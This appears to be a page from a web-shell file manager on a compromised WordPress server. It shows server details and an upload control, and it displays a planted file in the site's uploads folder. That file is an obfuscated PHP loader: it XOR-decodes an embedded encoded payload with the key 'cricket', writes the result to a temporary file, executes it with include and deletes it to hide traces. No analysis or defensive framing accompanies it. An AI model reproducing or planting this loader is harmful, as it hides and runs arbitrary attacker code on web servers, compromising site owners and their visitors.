HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: bannong (1179)
PHP: 8.1.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/bannong/domains/bannongsaischool.com/public_html/wp-content/uploads/2024/ox.php
<?php
$encrypted = 'X00ZCxtofiMbBwAHEBAGUk4EBBcdDx4ITRsNBERJZGlUW3lpTlYTAxV5aX9jRwgSEENPSQYTFRgMFgxLTBIEThEGDR8AGhdVRUMMAAAABQ1LQkwvUy9SbmFBAxMxBg0NDBMzEx0LS1hURxEeB0tLVCc7OyYoMTsxKzYwLjU1MTM9LDlFWkNVHhNGBhsNFAAERRUcE1VSbmFofm54DxYFBgAKHQdDDAAAPAUZPA8HKwAdBwUCAlxHEQYNDQwTPAIIFwNFSUNVHhNGBhsNFAAERRUcE1VAQxBofkNSSUMCA1RLUw8KBwArBgoAEB8WXEcRBg0NDBM8AggXA0xdQwlkaUtFVENSSUNLERwRHR5DBQADQzcRAA4VAAodB0tJtdCzwrnau95UFAJEAAQLEgoVRxMDFVSzz7nWS7XJs8K52rvRpNai1FlLQRcMHA8KDDoEAgYBQUJeeWlSSUNLGHlpf2NDS0VURxEGDQ0ME0NPSQUCCRE8FQwXNAYbDQYMDR8WXEcRBg0NDBM8AggXA0xPbnhkaUtFVENWGwYYEBgXUlRDMDhPbnhkaUtFVENWGQIfERERHBpDVkUvbnhJQ0tFVENSSUQvJystMyQmTEVUQ1JJXlVFVkwWDAUCCxE_AUM_QzkHSVUtITQrNS43Tj8YT1g_AUNEQz4qRC9CSkw5B0kuQFhER1hueElDS0VUQ1JJRC8nKzYhLDFMRVRDUkleVUVWTBYMBQILET8BQz9DOQdJVS0hNDAnJiBOPxhPWD8BQ0RDPipEL0JKTDkHSS5AWERHWG54SUNLRVRDUklELycrMzM6MDwqJidVSV5VRVZMFgwFAgsRPwFDP0M5B0lVLSE0NTUwIT4sOSFTPwFDTzcWXkRaMj1MOF5KVTUQQTldWF1LT2ZvVENSSUNLRVRENis8IyonN1VJQ0tFVF5MSUFEAREFGwcGNxZeP1o1EEFCMCEtISw4MVM_AUNPNxZeRFoyPUw4X0pVNRBBOV1YXUtPZm9UQ1JJQ0tFVEQGCAEHACsTAAwFAh1TXkxJQUQ5KD9WHQIJCRE8AhsGDQwMPwFDXjcWXkRaMj1MOF9KVVJMSWh-Q1JJQzZeeWl_Y0NLRVQFHRsGCgYcQ1pNEwoRAAYABxBLBAdDVgIGEkVJXVJNEwoRAAYAB0pLHnlpUklDS0VUQ1IABUtNBBEXDjwGBAAAGkFHGwQAFxcbDUdFUAAdBwUCAlhDVgQCHwYcBgFASkseeWlSSUNLRVRDUklDS0VQERcaFgcRL0cZDBo2RUlDVgQCHwYcBgEyUjZeeWlSSUNLRVRDUhRDDgkHBlISbmFFVENSSUNLRVRDUklHGQAHFh4dOE8OERovSV5LCwEPHlJuYUVUQ1JJQ0tFCW54SUNLRQlueGRpS0VUQwAMFx4XGkNWGwYYEBgXSWRpFmh-bngPFgUGAAodB0MMABoGAAgXDjoGAhwNDAY6BxcAAA0MTVAPFwcEHw1UXlJYUUdFUAocCg8eARE8ARAOCQoYEFJUQw0EGBAXQEMQaH5DUklDTwYcAgAaQ1ZFUwIQCgcOAxMLGwMIBwgaDAIYERgRARUFERoRJDYgNiwlLC09KTklLiUqJDIgOjc-MyM7KzNTWldHV0dfVFNcU1h_Y0NLRVQKFElLTwwaAB4cBw46BxofCwwHFl1DCWRpS0VUQ1JJQ0tBFwsTGxBLS0lDVUgjSEFRPVRDS0JIKzgvEh5MXnlpUklDSxh5aVJJQ0sXERcHGw1LFgEBAR0RQxYAES0aCx4DEg8XQRAfFysRFxkGChFcRxEBAhkWWENWBQYFAgALW0BPS1VYQ1YFBgUCAAtbUm5hGHlpf2MKDUVcQhQADw46ERsbGhcYTVAUAioMBQMdBCIIFwNMXUMJZGlLRVRDFgAGQ0cDE18KDAUDHQRcGQsbRRoMBkkFBBAaB1IADUsGAREADA0fRRAKAAwAHwoGGkhJRwgSED8cS0pQaH4ef2NuYUEQATEGDQ0ME0NPSQQOESsUAjYHCToXDBwPCgxNUBQCKgwFAx0EIggXA0xPbnhkaU8BFkNSSUNLRVRDUklDVkVQBxAqDAUDHQQpTicpOjoiPyxENl55aVYcEA4XVENSSUNLRVRDT0lHDwc3DBwPCgw-UycwNjY4ICZEL1JuYUEEAgEaFAQXEENSSUNLWFRHFgsgBAsSChUyRC8nKzMzOjA8KiYnVTRYZm9QCx0aF0tFVENSSUNLRUlDVg0BKAoaBRsOOEwhNjw6JjA_QilYf2NHHwQWDxc2ExkAEgoKSV5LQRABMQYNDQwTOFUdAgkJETwCGwYNDAxEL1JuYWh-RxwMFDQQBwYABwIGAFReUhoXGREbDx0eBhlNEwYcDBEKERE8AAgNDwoZPAEdEQILE0tERUMNBBgQF0BKUGh-RxwMFDQVFRABHgwZAVReUg4GBQAGAgYMPBkEGgcdBDwYEQYKHA5LWlNYQwYbFg5MT254TQ0OEisGHwgKB0VUQ1JUQ08LERQtHBAOFxoCHwxDRUVTIxUEAgIJWgAdBERQaH5ueE0OEhYFDxtJXksLERRSBBoYFBgKWk0LBBYAT1JNFhgABk9STRMKFgcUHRsHR0VQBxBAWGZvHQVSQUcGHAcSHgBOVQYbDRwMAB86EREABhFCRQ9ueElDS0UQChdBRLv7peui0bPatc6zwkmz1LXKs8a52bvepe2j7rPetcmzyrjsUUVTQ1xJRwYcBxIeAE5VBhsNHAwAHzoREQAGEUJeeWkPZGlmb1ALExoLDgErExMaEBwKBgdSVEMbBAcQBQYRDzocAgEBS08LERQtGQIYFgMMAA1PSzU1MCE-LDkhKyExOzo7MV1Yf2NuYUEdDQEMER86ARAXG0NWRVAOCxoSBwxZXQIbBhsEBgZaS25hRVRDUiAtOCAmN1IgLT8qVBhWHQIJCRE8AhsGDQwMHgcaBhkWVG54SUNLRVRDUklLHhYRES0FDAwMGk9SHBAOFysTExoQR0UBEBcbPAUMFwYcCA4OSVQWAQwRNAAZAhsFT0sQBwYANhAfBAAWAUVDDwwHEx4IGjQLFQ4XRUMeFhERLRsGDAwHFxcbBg9MeWlSSUNLMzUvJywwS01LT1JWT0taWENNRUNbSVRcXkktJDJcSltkaUlMT254TQoFFhERBjYWGAAGTkwLCgUBKxMTGwIGTVMQARoQGEJYQ1YHBhw6ARAXGw0KCBFPUk0LChYcBhY2EwoWBxQdGwdHRVANFx48HhYRERwIDg5JVEccDBQ0ABkCGwVPS0EaBgU2FhgABg0TBAZCXnlpVgANGAAGFy0cEA4XWV0XEQYIEAAGWkBYZm95aRsPQ0NBHQ0BDBEfOgEQFxtOVQQSBRcKFw4BKxEdHhBLWVRSW0kYZm9UQ1JJBwIAXESi97Ljtcyzw7nZu9VUs82447vdVLLzud270qTXotmz1rXMs8pJs9S1yrPJuO-70qTdotuz27T2s8e52LrqTkNVSU1LQRkaARgPAkhKBgAbDBlMT254FG5haH5HBxoGGTodB1JUQ08IDRADBQpGWx0NAQwRHzodB0lkaWZvUA4XHQJLWFQ4f2NDS0VUOFUeEzQGFRMTCwoHDAAKFxpER0VUQ1JJQxgABgoTBQoRAFw4VQgHBgwaCgEdEQoRGxFVSV5VRQARBww-QjhYbnhJQ0tFL0QFGTweFhERLQUGHQAYRF5JQ0tFVENSSURaVVM-XmRpS0VUQylODQIGHw0TBAZMSVRDUklDS0VUQ1JJQ0tBGgYFNhYYAAYNEwQGNkl5aVJJQ0s-UwUbGxAfOhoCHwxER0VUQ1JJQ0tFVENSTkQ2SXlpUklDSz5TDxMaFzQLFQ4XTk9LRVRDUklDS0VUQ1JORDZJeWlSSUNLPlMHFxoAGQwEFxsGDUxJVENSSUNLRVRDUk5ENkl5aVJJQ0s-UxEbCgs0ABAKBgANDEJYQ1JJQ0tFVENSThcZEBFEL0VuYUVUQ1IyRBgNGxQtCAcGDBo8EAgRNAMGDBwdREdFUxcAHAZMOFhueDRYZm95aRQGEQ4EFwtSQUcGAAACUggQSz5QCBcQT0tBAgIeHAY2TFQYf2NDS0VURwEdDh9FSUNWBBoYFBgKX1cTGQAEAgAMS0ksOjA3OzdLLDo3PUkYTxEVAR4MPBsXEQUbER4eFhERHwwXCkVcFgEMETQMEE9SBAYfBCsIFxBPSwgRFxM2FQoJAQZbSTUqKSEmIUlLVElUXF5JXEJHXVh_Y0NLRVRHAR0OH0hKARsHBzQVFRETBEtMDAcQVUVDTxAHBgA2Cg9JVEcZDBpHRVAVEwUWDkxPbnhJQ0tFUBAGBBdGWxEbFwoWHwBcSklkaUtFVENWGhcGEVldEQUMGABcSklkaRZofm54DAADClRBovmz37XIs8q53ka1y7PMudi66aTUotez2bXEsvC51rvepe9SuOC65KTcotyy47XJs8xJs9-1yrPDudO716TYotyz1ksoDVBSbmEAFwsdSUG7_qTdotqz07XJWVJJQ0seUA0XHjweFhERHAgODhgoDVBSbmEAFwsdSUG7-qTTo-mz1bXPsv5TQ0tFD0ccDBQ0FRUQAR4MGQEJPxxLWGZvUA4LGhIHDFldEQUMGABcSklkaVRb';
if (!function_exists('koala')) {
    function koala($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), koala($encrypted, 'cricket'));
include $tmp;
unlink($tmp);

?>